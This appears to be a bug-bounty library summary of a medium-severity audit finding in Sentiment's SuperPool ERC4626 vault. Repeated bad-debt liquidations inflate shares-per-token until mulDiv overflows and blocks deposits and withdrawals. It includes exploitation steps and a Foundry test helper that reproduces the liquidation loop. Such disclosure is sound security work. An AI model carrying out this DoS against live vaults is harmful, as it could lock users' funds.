# Super Pool shares can be inflated by bad debt leading to overflows

Bad debt liquidations shrink SuperPool total assets while shares stay fixed, inflating shares-per-token until mulDiv overflows and blocks all deposits/withdrawals.

- Payout: Audit contest
- Severity: medium
- Program: Sentiment
- Found by: h2134
- Disclosed: 2024-08-07
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2024-08-sentiment-v2-judging/issues/266
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-08-sentiment-v2%3AM-9
- Tags: area:web3 domain:web3 impact:dos kind:contest platform:sherlock sev:medium tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:dos vuln:share-inflation

**Target:** SuperPool ERC4626 share conversion (convertToShares/_convertToShares)
**Root cause:** Share price is derived from totalAssets/totalSupply; liquidating bad debt reduces totalAssets without burning shares, so shares-per-token inflates unboundedly across repeated bad debt events.
**Steps:**
1. Deploy underlying pool with fixed rate model and SuperPool with initial 1000 deposit.
2. Depositor deposits 1000e18 into SuperPool; borrower posts collateral and borrows 1000e18 from underlying pool.
3. Drop collateral oracle price to 0.8e18 so position is underwater.
4. protocolOwner calls `positionManager.liquidateBadDebt(position)`, wiping assets from SuperPool without reducing totalSupply.
5. Repeat deposit/borrow/price-dump/liquidate cycle 4 times.
6. Call `superPool.accrue()` then `superPool.previewDeposit(1e18)` — reverts `Math: mulDiv overflow`.
**How found:** Code reading of convertToShares/_convertToShares revealed ratio depends on totalAssets; reasoned that bad debt liquidation reduces totalAssets without burning shares, then modeled repeated cycles numerically to show overflow.
**Exploitation:** Attacker (or any borrower) repeatedly borrows from the underlying pool, gets liquidated as bad debt after a price drop, each cycle multiplying shares-per-token; after ~4 cycles share math overflows uint256, bricking deposit/withdraw for all users.
**Escalation:** Each bad debt liquidation compounds the ratio multiplicatively; 4 cycles push shares-per-token past uint256.max (~1e78).
**Insight:** In ERC4626-style vaults, any path that reduces totalAssets without burning shares (bad debt socialization, donation, fee-on-transfer loss) monotonically inflates the ratio — check whether repeated loss events can push mulDiv past uint256 and DoS the vault.

## Proof of concept (copied exactly from the original report)

**Helper performing bad debt liquidation loop**

```
function inflatedSharesByBadDebt(
        address depositor, 
        address borrower,
        address position,
        uint256 poolId, 
        SuperPool superPool,
        MockERC20 poolAsset, 
        MockERC20 collateralAsset
    ) private {
        vm.startPrank(protocolOwner);
        riskEngine.setOracle(address(collateralAsset), address(new FixedPriceOracle(1e18)));
        vm.stopPrank();

        uint256 assetAmount = 1000e18;
        uint256 collateralAmount = assetAmount * 10 / 8;

        // Depositor deposits
        poolAsset.mint(depositor, assetAmount);

        vm.startPrank(depositor);
        poolAsset.approve(address(superPool), assetAmount);
        superPool.deposit(assetAmount, depositor);
        vm.stopPrank();

        // Borrower borrows from Underlying Pool
        collateralAsset.mint(borrower, collateralAmount);

        Action memory addNewCollateral = addToken(address(collateralAsset));
        Action memory depositCollateral = deposit(address(collateralAsset), collateralAmount);
        Action memory borrowAct = borrow(poolId, assetAmount);

        Action[] memory actions = new Action[](3);
        actions[0] = addNewCollateral;
        actions[1] = depositCollateral;
        actions[2] = borrowAct;
    
        vm.startPrank(borrower);
        collateralAsset.approve(address(positionManager), type(uint256).max);
        positionManager.processBatch(position, actions);
        vm.stopPrank();

        // Collateral price dumps and Borrower's position is in bad debt
        vm.startPrank(protocolOwner);
        riskEngine.setOracle(address(collateralAsset), address(new FixedPriceOracle(0.8e18)));
        vm.stopPrank();

        // Owner liquiates bad debt
        vm.prank(protocolOwner);
        positionManager.liquidateBadDebt(position);
    }
```

